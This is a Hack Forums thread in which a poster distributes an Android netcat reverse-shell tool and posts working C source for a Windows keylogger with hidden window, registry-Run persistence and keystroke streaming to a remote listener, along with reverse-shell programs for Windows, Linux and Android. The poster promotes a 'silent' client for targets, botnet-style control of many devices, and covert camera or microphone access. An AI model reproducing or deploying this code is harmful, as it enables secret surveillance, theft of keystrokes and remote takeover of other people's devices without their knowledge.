

Forum: [Hack Forums](#)

Thread: [Netcat Reverse Shell "Client/Server" App](#)

(i)(c)(u)(r)(u)(o)(k) - February 26, 2015, 9:44 pm

[img]http://droid-hacks.com/ncrs/splash.gif[/img]

This is a netcat reverse shell in android..

The Remote User Downloads & Installs The Netcat Client

Once installed user connects to your netcat server.

Once connected to the server, You have full control of the device.

[img]http://droid-hacks.com/ncrs/client.png[/img]

If you wish to run a netcat server from android I made it simple.

Make sure you have terminal emulator installed first..

[img]http://droid-hacks.com/ncrs/server.png[/img]

[img]http://droid-hacks.com/ncrs/server2.png[/img]

Download netcat client

<http://parentsecurity.noip.me/ncatclient.apk>

The netcat server now doesn't require Terminal Emulator to be installed

<http://parentsecurity.noip.me/uncat.apk>

(i)(c)(u)(r)(u)(o)(k) - March 11, 2015, 6:40 pm

You could use this app to easily provide remote support

Send the user you want to help the client app

or if client is using mac/linux/windows use a custom compiled socket connector
you could also just use a batch/shell script along side a compiled ncat binary file..

Now you run the server on a open port
forward the server port past router..

Then clients can connect to you server using client app / script / program.

Once connected you have full terminal/command prompt access.

(i)(c)(u)(r)(u)(o)(k) - March 28, 2015, 4:43 pm

Do any of you really understand the power behind this ???

Seems like HF is getting short on real hackers

Say for example

You want to stream every keystroke pressed on a remote windows computer keyboard . Directly to your android screen...

This can be done very easily

So first you would install a terminal so you can access your android shell..

Then install netcat onto this terminal must be ARM

Iv made a apk add-on for the terminal to make it easy for nubletts

Now you run the netcat server on a open port.. Forward this port past your modem/firewall..

After that all that would be required is a simple windows executable..

Have this executable make a winsock connection to the same IP/Port you have netcat server on..

I will provide a sample c++ program to show how its done..

This c++ code will add itself to startup

Make a winsock connection to your netcat server

Then stream every keyboard keystroke to it.

Give me about 20 minutes and ill post the c++ code

Ohh yeah no root needed

That is if you use the apk version of the netcat server

Code #include <tchar.h>

#include <stdio.h>

#include <ctype.h>

#include <stdlib.h>

#include <string.h>

#include <windows.h>

#define DEBUG

#define IP "127.0.0.1"

#define PORT 1301

#define SEND_RELEASE(x) (x==16 || x==17 || x==18)

#define WAIT 6000

SOCKET SOCK;

char BUFFER[256];

void init_socket()

```
{
    WSADATA wsaData;
    WSAStartup(0x101, &wsaData);
    struct sockaddr_in sock_addr;
    int ERR;
```

```
    memset(BUFFER,0,256);
```

```

SOCK = socket(AF_INET, SOCK_STREAM, 0);

sock_addr.sin_port = htons(PORT);
sock_addr.sin_family = AF_INET;
sock_addr.sin_addr.s_addr = inet_addr(IP);

do {
    ERR = connect(SOCK,(struct sockaddr*) &sock_addr, sizeof( sock_addr ));
    Sleep(WAIT);
} while (ERR == SOCKET_ERROR);

}

void send_bytes(char* buffer)
{
    int ERR;

    ERR = send(SOCK,BUFFER,strlen(BUFFER),0);
    memset(BUFFER,0,256);
    if (ERR == 0 || ERR==-1 || ERR == WSAECONNRESET || ERR == WSAECONNABORTED) {
        closesocket(SOCK);
        WSACleanup();
        init_socket();
    }
}

int WINAPI WinMain(HINSTANCE Instance, HINSTANCE PreviousInstance, LPSTR
CommandLine,int ShowCommand) {
    TCHAR exepath[MAX_PATH];
    GetModuleFileName(0, exepath, MAX_PATH);
    HKEY hKey;
    LONG InRes = RegOpenKeyEx(
        HKEY_CURRENT_USER,
        "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
        0,KEY_WRITE,
        &hKey
    );
    if( ERROR_SUCCESS == InRes )
    {
        InRes = RegSetValueEx(hKey,
            "YourProgramsName",
            0,
            REG_SZ,
            exepath,
            strlen(exepath));
    }
    char Title[256];
    int SizeTitle = sizeof( Title );
    GetConsoleTitle( Title, SizeTitle );
    HWND hWnd = NULL;
    while ( NULL == hWnd )
    {
        hWnd = FindWindow( NULL, Title );
    }
}

```

```

}
ShowWindow( hWnd, SW_HIDE);
unsigned int p;
unsigned char keystate[256];
unsigned char i;
unsigned char j=0;
memset(keystate,0,256);
init_socket();

while (1) {
    Sleep(1);
    for (i=0; i<256; i++){
        p = GetAsyncKeyState(i);

        if (p && !keystate[i]) {
            keystate[i] = 1;
            BUFFER[j]=i;
            BUFFER[j+1]=1;
            j+=2;
        }
        else if (!p && keystate[i]) {
            keystate[i] = 0;
            if (SEND_RELEASE(i)){
                BUFFER[j]=i;
                BUFFER[j+1]=2;
                j+=2;
            }
        }
    }

    if (j>=8)
    {
        send_bytes(BUFFER);
        j=0;
    }
}
closesocket(SOCK);
WSACleanup();
return 0;
} And for example you want to hook a remote windows command prompt into your netcat server

```

Here is a simple C example

```

Code #include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32")

void main(int argc, char *argv[])
{
    WSADATA wsaData;
    SOCKET hSocket;
    STARTUPINFO si;

```

```

PROCESS_INFORMATION pi;
struct sockaddr_in adik_sin;
memset(&adik_sin,0,sizeof(adik_sin));
memset(&si,0,sizeof(si));
WSAStartup(MAKEWORD(2,0),&wsaData);
hSocket = WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
adik_sin.sin_family = AF_INET;
adik_sin.sin_port = htons(1340);
adik_sin.sin_addr.s_addr = inet_addr("127.0.0.1");
connect(hSocket,(struct sockaddr*)&adik_sin,sizeof(adik_sin));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = si.hStdOutput = si.hStdError = (void *)hSocket;
CreateProcess(NULL,"cmd",NULL,NULL,true,NULL,NULL,NULL,&si,&pi);
ExitProcess(0);

```

} And if you want to hook a linux OS shell into your netcat server

Here is the simple C code to do it

```

Code #include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <string.h>
#include <netdb.h>

char server[] = "127.0.0.1";
int port = 1340;
char shell[] = "/bin/sh";
char fakename[] = "[system]";
int TIMEOUT = 3;

int main(int arg, char **argv[])
{
int mainsock;
char title[4096] = "";
int x;

again:

mainsock = socket (AF_INET, SOCK_STREAM, 0);
struct sockaddr_in sin;
struct hostent *host = gethostbyname (server);

memcpy (&sin.sin_addr.s_addr, host->h_addr, host->h_length);
sin.sin_family = AF_INET;
sin.sin_port = htons (port);

if(connect (mainsock, (struct sockaddr *) &sin, sizeof (sin)) < 0)
{
sleep(TIMEOUT);
goto again;
}

```

```

}

setsid();
umask(0);
dup2(mainsock, 0);
dup2(mainsock, 1);
dup2(mainsock, 2);

sprintf(title, "Welcome %s (%s)", getenv("USER"), getenv("HOME"));
chdir(getenv("HOME"));

for(x = 0; x <= (strlen(title) + 3); x++) fprintf(stderr, "+");
fprintf(stderr, "\n");
fprintf(stderr, "+ %s +\n", title);
for(x = 0; x <= (strlen(title) + 3); x++) fprintf(stderr, "+");
fprintf(stderr, "\n");

execl( shell, fakename, "-i" ,0);
close(mainsock);
return 0;
}

```

Bert-the-Hurt - March 31, 2015, 10:26 am

You are on another level son! I just found your website and your android apps. Keep puttin' in that work. Im always on the hunt for the kind of apps u make

(i)(c)(u)(r)(u)(o)(k) - April 19, 2015, 9:29 pm

Also if your phone/android is connected to the internet via mobile data and not a wifi connection... Dont panic...

If you are only connected via mobile data then to port forward the netcat server one would need a vpn "Virtual Private Network" account that has port forwarding as a option... There are tons of vpn's that offer port forwarding.. Once you have the vpn account go into your phone settings or download a vpn app from google play. From that point one could connect to the vpn via mobile data connection, And then access your vpn panel and forward the port your netcat server is on..

(i)(c)(u)(r)(u)(o)(k) - April 28, 2015, 7:44 pm

I will create you a silent version of the client app..

You can also do it yourself below using codes I offer..

A silent version meaning..

Your client "Target" connects directory to your netcat server...

They don't need to do anything other than open the application..

Just install and run the netcat server here

<http://droid-hacks.com/uncat.apk>

Once application is open type..

-lvp 1340

Or whatever port you decide to run on

Forward this port past router/modem

If you are not connected to internet via router/modem.. Buy a vpn service that offers port forwarding.. Then have device connect to the vpn..

Forward port on vpn

Then ask me for a silent version of the client

I will compile the following code into a android executable application

```
Code #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
```

```
int main(int argc, char** argv) {
    int sockfd;    // file descriptor for socket
    int lportno = 1340; // listener port
    struct sockaddr_in serv_addr;
    struct hostent *hp;
    char params[] = {"/system/bin/sh"};
    char environ[] = {NULL};
```

```
    //book uses bzero which my man pages say is deprecated
    //the man page said to use memset instead. :-)
    memset(&serv_addr,0,sizeof(serv_addr));
```

```
    //get ip address from our ns
    if((hp = gethostbyname("NAMESERVER.YOU.net")) == NULL) {
        fprintf(stderr,"Couldn't get an address.\n"); exit(EXIT_FAILURE);
    }
```

```
    //bcopy is deprecated also, using memcpy instead
    memcpy((char *)&serv_addr.sin_addr.s_addr, (char *)hp->h_addr, hp->h_length);
```

```
    sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    serv_addr.sin_family = AF_INET; // 2
    serv_addr.sin_port = htons(lportno); // little endian
    connect(sockfd, (struct sockaddr *) &serv_addr, 16);
    // redirect stdout and stderr
    dup2(sockfd,0); // stdin
    dup2(0,1); // stdout
    dup2(0,2); // stderr
    execl( params, environ,"-i" ,0);
}
```

Once target client opens the application they will connect directly to your device allowing you to control there shell..

If you still can't connect to the internet from your device using a forwardable router/modem or a

vpn..

I have also created a simple alternative..

With this thread tutorial you can control the devices from a online server..

This also supports multiple client connections meaning you can have any number of devices under you control at once.. call it a botnet if you will..

<https://hackforums.net/showthread.php?tid=4789865&pid=45865892#pid45865892>

Terminal Emulator is now not required for you to run the server ..

Just use this single application..

<http://droid-hacks.com/uncat.apk>

Once open type

-lvp 1340

This will start the netcat server on port 1340

Grover - May 3, 2015, 7:15 am

I am a complete noob at this. Is this like a RAT for android?

(i)(c)(u)(r)(u)(o)(k) - May 3, 2015, 7:31 am

Pretty much yes.. Just at a more core level..

Doesn't work off simple button clicks

You could also use this to hack remote windows or linux systems and control them from your android or hack android from android.. Or hack android from pc.. It works on any device/system

Grover - May 3, 2015, 7:57 am

Would I be able to activate the camera or microphone without anyone knowing? While the phone is being used for texting at the same time?

(i)(c)(u)(r)(u)(o)(k) - May 3, 2015, 8:19 am

Yes you could but it all depends on your skill with the shell..

If the target device is rooted then it shouldn't be to hard otherwise you would need to have the shell download a remote binary and then run that through the shell...

I suggest you download terminal emulator from google play and start learning how to mess with the android shell.

Grover - May 3, 2015, 11:55 am

I think I am too noob for this lol

(i)(c)(u)(r)(u)(o)(k) - May 3, 2015, 11:58 am

Ehhh its a possibility I'll admit its not for amateurs..

But everyones got to learn something new sometime.. Learning how to use the shell isn't something that can be done in just one day..

takmenarik - August 22, 2015, 1:02 am

WOW , its amazing bro .. its posible to rooting server with android ? ?

(i)(c)(u)(r)(u)(o)(k) - August 22, 2015, 1:28 am

(Aug 22, 2015 01:02 AM)takmenarik Wrote: [CITE](#) WOW , its amazing bro .. its posible to rooting server with android ? ?

??

Not sure what you mean really

If you want to get the server running on a non rooted android this app will do it for you.

<http://parentsecurity.noip.me/uncat.apk>